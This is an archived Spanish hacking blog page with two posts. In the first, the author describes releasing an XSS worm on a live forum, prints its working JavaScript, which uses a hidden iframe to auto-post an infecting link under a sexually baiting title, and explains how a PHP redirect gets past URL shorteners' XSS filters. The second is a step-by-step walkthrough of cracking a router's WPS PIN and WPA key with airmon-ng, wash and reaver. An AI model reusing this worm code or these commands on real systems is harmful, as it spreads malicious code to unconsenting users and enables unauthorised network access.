jueves, 10 de mayo de 2012

0verXW: semilla de un XSS Worm

¡Saludos gente!

    El día de ayer estuvimos realizando un pequeño experimento en cierto foro: la creación y observación de un XSS Worm inofensivo. Resumiendo un poco la historia, la idea surgió a primera hora de la mañana (en España), a eso de las 6 o las 7 del día, después de no haber dormido ni pizca. Estaba en el IRC con Seth charlando sobre viejas batallitas cuando recordé la existencia de un XSS en la web de cierta comunidad. Dicho XSS es conocido desde hace como mínimo 5 años, pero nunca se parcheó: como la web ya no se usaba, se borró el index, pero el resto de partes siguen todavía vivas y accesibles (¡un fuerte aplauso al admin!). Al linkearle la web vulnerable, no se le ocurrió a Seth otra cosa que dar una idea hipertentadora: codear un worm y soltarlo en el foro. Los que conozcais este blog desde sus inicios recordareis que siempre tuve cierta fascinación por este tipo de temas (XSS Worms: El terror de las redes sociales, asi que la idea me encantó. Empecé a codear el worm, con bastantes problemas. Problemas del tipo: llevo demasiadas hora sin dormir y me estoy volviendo gilipollas por momentos y no consigo escribir bien una función; pero con la ayuda de Seth los conseguí solventar, no sin antes acordarme de la p*ta madre de todas las deidades.


      Lo que codeé fue un simple PoC para probar si realmente se podría extender y aumentar con el tiempo la tasa de "infectados". Quería hacer una semilla, un inicio, y si funcionaba empezar un proyecto: codear un XSS Worm para SMF. Y como este experimento funcionó a las mil maravillas os puedo adelantar que este verano empezaré el proyecto (ya os iré informando de cómo evoluciona).

    El XSS al no encontrarse dentro del foro, sino en la web, nos ponía el inconveniente de que era necesario que los usuarios hicieran click sobre un enlace para poder ejecutar el script. Esto sinceramente me desanimó bastante, porque empecé a temer que la gente no hiciera click. Pero todos estos temores eran infundados, ya que con un poco de ingeniería social (a.k.a chicas enseñando las tetas) todos hacen click. El objetivo que quería conseguir era la esencia propia de un worm, es decir, que se lleve a cabo su propagación de forma involuntaria, por lo que el script no iba a contener ningún payload real, únicamente tendría que añadir el enlace que ejecutaba el JS para que otro usuario incauto clickase sobre él y continuara expandiéndolo.

   El script añade un iframe a la web vulnerable que está dirigido a la página de creación de un nuevo tema, y después se rellenan los campos y se envía el formulario:
function carga() { fri = window.frames['Seth']; fri.document.getElementsByName("subject")[0].value = "La novia de Seth desnuda"; fri.document.getElementsByName("message")[0].value = '[url=URL QUE INFECTA][img]http://imgserv.ya.com/foros3.ya.com/pub/uploadedimg/8/o/i_1vkx9impdl1wq_mox631o8.jpg[/img][/url][br]¡Haz click en la imagen para ver toda la galeria!'; fri.document.getElementsByName("postmodify")[0].submit(); } document.write('<iframe style="display:none" name="Seth" src="url del formulario para crear el tema" onload="carga()"></iframe>');
  Sobre este sencillo script se podrían hacer mil cosas para mejorarlo, pero como dije al principio unicamente perseguíamos la comprobación de si realmente se iba a expandir o no. El post que se generaba era el siguiente:
  Como podeis observar el título del tema invita a los morbosos a ver desnuda a la novia de uno de los usuarios, que junto a la imagen de la peligroja, parecen ser un imán de clicks. Para ocultar un mínimo la URL pensé en utilizar alguno de los servicios online que permiten acortar la ULR, pero todos ellos detectaban el XSS y me impiedían la acortación. Para poder bypassear esta restricción subí un archivo PHP, al mismo dominio donde estaba el script, que se encargaba de realizar una redirección para explotar el XSS, y éste archivo de mi dominio fue el que puse en el acortador. Una vez que ya todo estaba preparado lo único que nos faltaba era un usuario que activase el mecanismo. En este caso escogí a un usuario que estaba en el IRC:


16:13 :                     XC3LL ¦ codek`-`¿has visto la peli de 28 días despues ?
16:13 :                codek`-` ¦ hmm
16:13 :                codek`-` ¦ creo que no no me suena
16:14 :                codek`-` ¦ por??
16:14 :                     XC3LL ¦ y con el amanecer de los muertos vivientes ?
16:15 :                     XC3LL ¦ (URL maliciosa)
16:15 :                 PHPIdler ¦ Title: Acorta tus Url: Haz tus Url más fáciles de recordar - XURL.es
16:15 :                codek`-` ¦ xDD
16:15 :                codek`-` ¦ creo que tampoco
16:15 :                codek`-` ¦ la verdad no soy muy cinéfilo
16:16 :                     XC3LL ¦ [codek`-`] entonces no pillarás el chiste de esa URL xD
16:16 :                codek`-` ¦ voy a intentarlo
16:16 :                codek`-` ¦ xDD
16:16 :                codek`-` ¦ :o
16:16 :                codek`-` ¦ e entrao
16:17 :                codek`-` ¦ que me has infectado de algo?
16:17 :                     XC3LL ¦ [codek`-`] Nopes =/
16:17 :                     XC3LL ¦ Pero debería de haber pasado otra cosa =/
16:17 :                     XC3LL ¦ Ahora
16:17 :                     XC3LL ¦ Ahora ya funca
16:17 :                     XC3LL ¦ JAJA
16:17 :                codek`-` ¦ me metido (comunidad vulnerable)
16:18 :                codek`-` ¦ pero no en el foro
16:18 :                     XC3LL ¦ [jep_py] ¡ Esta vivo!
16:18 :                     XC3LL ¦ [jep_py] ¡Esta vivo!

    Gracias a este infectado, poco a poco se fueron generando temas, conforme la gente iba clickando, otro tema se iba creando. Algunos usuarios se dieron cuenta pronto y pusieron el grito en el cielo. En cambio, la inmensa mayoría, seguía cayendo. He de decir que yo también caí en mi propio worm por error. Para que no se acumulasen en exceso empecé a borrar basantes, pero después lo dejé crecer para ver hasta que punto llegaba. En cierto momento tomé un pantallazo como recuerdo (clickad en ella para verla más grande):



  Con este inofensivo worm pasemos un gran día ayer. Fue bastante divertido y quisiera agradecer a Seth (por ser la fuerza generatriz), a Jep y Codek (por echar una mano y ser los primeros "infectados"), a RGB (por permitirme hacer el vándalo un rato en su foro -él es el administrador del foro, no de la web ni el servidor, no tiene culpa de que no parcheen el XSS-) y a aquellos usuarios que se dieron cuenta de lo que estaba pasando y que les pedí que guardasen el secreto hasta el día siguiente. Me he divertido bastante con este experimento, y me ha servido para decidirme a hacer el proyecto que mencioné más arriba: un worm para SMF. Creo que no me dejo nada en el tintero, si es así ya lo añadiré cuando me acuerde.


 Byt3z
5 0verl0ad Labs: mayo 2012 ¡Saludos gente!     El día de ayer estuvimos realizando un pequeño experimento en cierto foro: la ...

martes, 1 de mayo de 2012

Atacando un punto de acceso con WPS

 Hace unos meses surgió una vulnerabilidad que afectaba a un tipo de autentificación mediante WPS que por falta de hardware, no había podido probar hasta ahora.
 
  En este post voy a intentar explicar como explotarla, como siempre desde Backtrack 5 R2.
Lo primero será comentar los tres tipos de conexión mediante WPS:
  • En el primer método el router posee un botón que al pulsarlo y activar su correspondiente enlace del dispositivo que quiera conectarse se establecerá la conexión entre ambos, este método no es afectado por la vulnerabilidad.
  • El siguiente método consiste en agregar desde el router el dispositivo deseado, este tipo, como la anterior tampoco es vulnerable.
  • El tercero y último consiste en que el dispositivo que desea conectarse introducirá un pin proporcionado por el router y se establecerá la conexión. Este método SI QUE ES VULNERABLE.

  Ahora que ya sabemos que tipo de WPS es vulnerable vamos a conocer el alcance de la vulnerabilidad:
  Con este ataque podemos obtener el pin de acceso (para conectarnos por WPS), pero además nos mostrará la clave WPA/WPA2 asociada al punto de acceso (AP), todo esto en unas horas, que comparado con los ataques de diccionario para WPA es mucho mas efectivo.

 Para realizar este ataque necesitaremos 2 herramientas, wash y reaver. No voy a entrar en como instalar estas herramientas ya que en Backtrack ya vienen incluidas, aunque podemos descargarlas de aquí (en el interior del .tar.gz, en el directorio docs explica como instalarlo).



 Para empezar a trabajar necesitamos poner nuestra tarjeta en modo monitor, para ello utilizaremos la herramienta airmon-ng (perteneciente a la suite Aircrack-ng):
airmon-ng start <interfaz>
 para el ejemplo:
airmon-ng start wlan0
La interfaz en modo monitor pasará a ser mon0.

Nuestro siguiente paso es buscar puntos de acceso vulnerables con WPS al alcance, para ello usaremos wash.
wash -i <interfaz>
para el ejemplo:
wash -i mon0
  aquí veremos los AP vulnerables, nosotros escogeremos "wireless" y apuntaremos su MAC (00:22:33:44:55:66).


 Ahora ya tendremos solo nos quedará lanzar reaver y esperar:
reaver -i <interfaz> -b <MAC del punto de acceso>
 siguiendo con el ejemplo:
reaver -i mon0 -b 00:22:33:44:55:66

  Como vemos en la última imagen hemos obtenido el pin WPS junto con la clave WPA, todo en unas 3 horas (en otras pruebas que hice el proceso duró unas horas mas, unas 11 concretamente xD).



  Como el proceso puede durar bastante tiempo, y para no perder las pruebas realizadas, reaver nos permite suspender la sesión para continuarla cuando nos venga bien, esto es tan simple como interrumpir el programa con CTRL+C:
  y para continuarlo volvemos a llamar a reaver de la misma forma que antes (reaver -i <interfaz> -b <MAC del punto de acceso>):

  Documentos interesantes:

Con este par de documentos me despido, nos leemos en breve.

Aetsu

5 0verl0ad Labs: mayo 2012  Hace unos meses surgió una vulnerabilidad que afectaba a un tipo de autentificación mediante WPS ...
< >